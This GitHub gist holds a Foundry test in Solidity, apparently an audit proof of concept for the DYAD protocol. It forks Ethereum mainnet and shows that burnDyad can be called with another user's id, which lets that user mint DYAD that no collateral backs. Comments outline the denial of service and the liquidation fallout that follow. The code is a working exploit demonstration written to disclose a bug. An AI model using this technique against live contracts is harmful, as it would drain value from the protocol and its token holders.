Created
April 25, 2024 07:22
-
-
Save Falilah/d3a7633af5981079b859e3e38cd38120 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity =0.8.17; | |
import "forge-std/console.sol"; | |
import "forge-std/Test.sol"; | |
import {DNft} from "../../src/core/DNft.sol"; | |
import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; | |
import {Licenser} from "../../src/core/Licenser.sol"; | |
import {Parameters} from "../../src/params/Parameters.sol"; | |
import {ERC20} from "@solmate/src/tokens/ERC20.sol"; | |
interface IDyad { | |
function mintedDyad( | |
address manager, | |
uint id) external returns(uint256); | |
} | |
contract V2Test is Test, Parameters { | |
Contracts contracts; | |
ERC20 weth; | |
address userA = address(0x11); | |
address userB = address(0x12); | |
address liquidator = address(0x13); | |
function setUp() public { | |
vm.createSelectFork("https://rpc.ankr.com/eth"); | |
contracts = new DeployV2().run(); | |
} | |
function mintDNFT(address user) private returns (uint) { | |
vm.deal(user, 1 ether); | |
return DNft(MAINNET_DNFT).mintNft{value: 1 ether}(user); | |
} | |
function deposit( | |
ERC20 token, | |
uint id, | |
address vault, | |
uint amount, | |
address user | |
) public { | |
deal(address(token),user , amount); | |
token.approve(address(contracts.vaultManager), amount); | |
contracts.vaultManager.deposit(id, address(vault), amount); | |
} | |
function testBurnDyadWithDifferentID() public{ | |
//license Vault Manager | |
Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER); | |
vm.prank(MAINNET_OWNER); | |
licenser.add(address(contracts.vaultManager)); | |
vm.startPrank(userA); | |
uint idA = mintDNFT(userA); | |
contracts.vaultManager.add(idA, address(contracts.ethVault)); | |
deposit(ERC20(MAINNET_WETH), idA, address(contracts.ethVault), 1 ether, userA); | |
vm.stopPrank(); | |
vm.startPrank(userB); | |
uint idB = mintDNFT(userB); | |
contracts.vaultManager.add(idB, address(contracts.ethVault)); | |
deposit(ERC20(MAINNET_WETH), idB, address(contracts.ethVault), 1 ether, userB); | |
vm.stopPrank(); | |
vm.startPrank(liquidator); | |
uint idliq = mintDNFT(liquidator); | |
contracts.vaultManager.add(idliq, address(contracts.ethVault)); | |
deposit(ERC20(MAINNET_WETH), idliq, address(contracts.ethVault), 1 ether, liquidator); | |
vm.stopPrank(); | |
//// 3 Users have deposited ///////// | |
vm.startPrank(userA); | |
uint getUserANonKerExo = contracts.vaultManager.getNonKeroseneValue(idA); | |
uint mintable = (getUserANonKerExo * 2) / 3 ; | |
contracts.vaultManager.mintDyad(idA,mintable, userA ); | |
vm.stopPrank(); | |
vm.startPrank(userB); | |
uint getUserBNonKerExo = contracts.vaultManager.getNonKeroseneValue(idB); | |
uint mintableUserB = (getUserBNonKerExo * 2) / 3 ; | |
contracts.vaultManager.mintDyad(idB,mintableUserB, userB ); | |
//If user B tried minting one more dyad, it will revert because of cr will be lower than expected | |
vm.expectRevert(); | |
contracts.vaultManager.mintDyad(idB, 1, userB ); | |
vm.stopPrank(); | |
vm.startPrank(liquidator); | |
uint getLiqNonKerExo = contracts.vaultManager.getNonKeroseneValue(idliq); | |
uint mintableLiqui = (getLiqNonKerExo * 2) / 3 ; | |
contracts.vaultManager.mintDyad(idliq,mintableLiqui, liquidator ); | |
vm.stopPrank(); | |
//All users have minted up to the maximum amount of having 150% collateral | |
//assert Balances | |
console.log("//////////////UserA////////"); | |
console.log("USER A DYAD OWNED before burning", ERC20(MAINNET_DYAD).balanceOf(userA)); | |
console.log("USER A DYAD MINTED before burning ==>", IDyad(MAINNET_DYAD).mintedDyad(address(contracts.vaultManager), idA)); | |
console.log("//////////////UserB////////"); | |
console.log("USER B DYAD OWNED before user A burn", ERC20(MAINNET_DYAD).balanceOf(userB)); | |
console.log("USER B DYAD MINTED before burning ==>", IDyad(MAINNET_DYAD).mintedDyad(address(contracts.vaultManager), idB)); | |
console.log("//////////////liquidator////////"); | |
console.log("Liquidator DYAD OWNED before user A burn", ERC20(MAINNET_DYAD).balanceOf(liquidator)); | |
console.log("LIQUIDATOR DYAD MINTED before burning ==>", IDyad(MAINNET_DYAD).mintedDyad(address(contracts.vaultManager), idliq)); | |
//user A burning and reducing userB Dyadminted state variable | |
vm.startPrank(userA); | |
contracts.vaultManager.burnDyad(idB, mintable); | |
vm.stopPrank(); | |
console.log("//////////////UserA////////"); | |
console.log("USER A DYAD OWNED after burning", ERC20(MAINNET_DYAD).balanceOf(userA)); | |
console.log("USER A DYAD Minted after burning ==>", IDyad(MAINNET_DYAD).mintedDyad(address(contracts.vaultManager), idA)); | |
console.log("//////////////UserB////////"); | |
console.log("USER B DYAD OWNED after user A burn", ERC20(MAINNET_DYAD).balanceOf(userB)); | |
console.log("USER B DYAD Minted after userA burnt ==>", IDyad(MAINNET_DYAD).mintedDyad(address(contracts.vaultManager), idB)); | |
console.log("//////////////liquidator////////"); | |
console.log("Liquidator DYAD OWNED after user A burn", ERC20(MAINNET_DYAD).balanceOf(liquidator)); | |
console.log("Liquidator DYAD Minted after burning ==>", IDyad(MAINNET_DYAD).mintedDyad(address(contracts.vaultManager), idliq)); | |
/////////////// Because of the mistake of user A, userB can now mint more dyad | |
vm.startPrank(userB); | |
// Dyad expected to have been burnt by userA is beign used to mint more by UserB, because dyadMinted for UserB was deducted in the course | |
contracts.vaultManager.mintDyad(idB,mintableUserB, userB ); | |
vm.stopPrank(); | |
console.log("//////////////UserA////////"); | |
console.log("USER A DYAD OWNED after burning ==>", ERC20(MAINNET_DYAD).balanceOf(userA)); | |
console.log("USER A DYAD Minted after burning ==>", IDyad(MAINNET_DYAD).mintedDyad(address(contracts.vaultManager), idA)); | |
console.log("//////////////UserB////////"); | |
console.log("USER B DYAD OWNED after user A burn B mint more", ERC20(MAINNET_DYAD).balanceOf(userB)); | |
console.log("USER B DYAD Minted after burning and Mint More ==>", IDyad(MAINNET_DYAD).mintedDyad(address(contracts.vaultManager), idB)); | |
console.log("//////////////liquidator////////"); | |
console.log("Liquidator DYAD OWNED after user A burn and user B mint more", ERC20(MAINNET_DYAD).balanceOf(liquidator)); | |
console.log("liquidator DYAD MINTED after burning and user B minted more ==>", IDyad(MAINNET_DYAD).mintedDyad(address(contracts.vaultManager), idliq)); | |
// User A can't access his collateral again causing DOS due to DYADMinted not been reduced when intended to burn his token. | |
// If user A collateral is exposed to liquidation, liquidator | |
// will then burn his own dyad to get UserA collateral in other | |
// to move userA collateral to his address | |
// this liquidation action will lead to the following. | |
// A get to withdraw the balance on the 120% sent to liquidator. has No dyad to himself anymore. | |
// B Redeemed all his collateral by burning 100% of his DyadMinted state variable. | |
//making him still owned Dyad minted earlier. | |
// liquidator after liquidating, get A 120% collaterall added to his own collateral and | |
// then withdraw all of his collateral. | |
// this will conclude to the 3 addresses involve having all their collateral and | |
// work away with the extra dyad minted by B without having dyad been backed by collateral | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment